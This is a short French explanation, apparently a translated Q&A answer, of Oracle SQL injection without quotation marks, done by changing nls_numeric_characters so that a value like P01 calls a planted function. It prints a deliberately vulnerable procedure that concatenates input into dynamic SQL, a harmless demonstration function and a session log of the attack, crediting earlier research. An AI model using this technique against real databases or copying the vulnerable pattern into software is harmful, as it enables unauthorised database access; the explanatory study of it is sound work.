Oui, il est possible d'effectuer une attaque par injection SQL sans fournir de guillemets dans le paramètre.
La façon de le faire est d'exploiter la façon dont les nombres et / ou les dates sont traités. Vous pouvez spécifier au niveau de la session le format d'une date ou d'un nombre. En manipulant cela, vous pouvez ensuite injecter avec n'importe quel personnage.
Par défaut au Royaume-Uni et aux États-Unis, une virgule est utilisée pour indiquer le séparateur des milliers en chiffres et un point pour le point décimal. Vous pouvez modifier ces valeurs par défaut en exécutant:
alter session set nls_numeric_characters = 'PZ';
Cela signifie que "P" est maintenant le point décimal et "Z" est le séparateur des milliers. Donc:
0P01
Est le nombre 0,01. Cependant, si vous créez une fonction P01, la référence d'objet sera récupérée avant la conversion des nombres. Cela vous permet d'exécuter des fonctions sur la base de données en vous donnant des pouvoirs croissants, comme suit:
Créez une fonction de base "get by id":
create procedure get_obj ( i in number ) as
begin
execute immediate 'select object_name from all_objects where object_id = ' || i;
end;
/
Créez également une fonction P01 qui fait quelque chose de indésirable (dans ce cas, il suffit de créer une table, mais vous avez l'idée):
create function p01 return number as
pragma autonomous_transaction;
begin
execute immediate 'create table t (x integer)';
return 1;
end;
/
Et nous sommes prêts à partir:
alter session set nls_numeric_characters = 'PZ';
SELECT * FROM t;
SQL Error: ORA-00942: table or view does not exist
exec get_obj(p01);
anonymous block completed
SELECT * FROM t;
no rows selected
Aucune citation nulle part, mais nous avons quand même réussi à exécuter la fonction "cachée" P01 et à créer la table t
!
Bien que cela puisse être difficile à faire dans la pratique (et peut nécessiter une certaine connaissance / aide interne), cela montre que vous pouvez injecter du SQL sans avoir à avoir des guillemets. Modifier le nls_date_format
peut permettre de faire des choses similaires.
Les résultats originaux pour les chiffres ont été par David Litchfield et vous pouvez lire son article ici . Vous pouvez trouver la discussion de Tom Kyte sur la façon dont les dates peuvent être exploitées ici .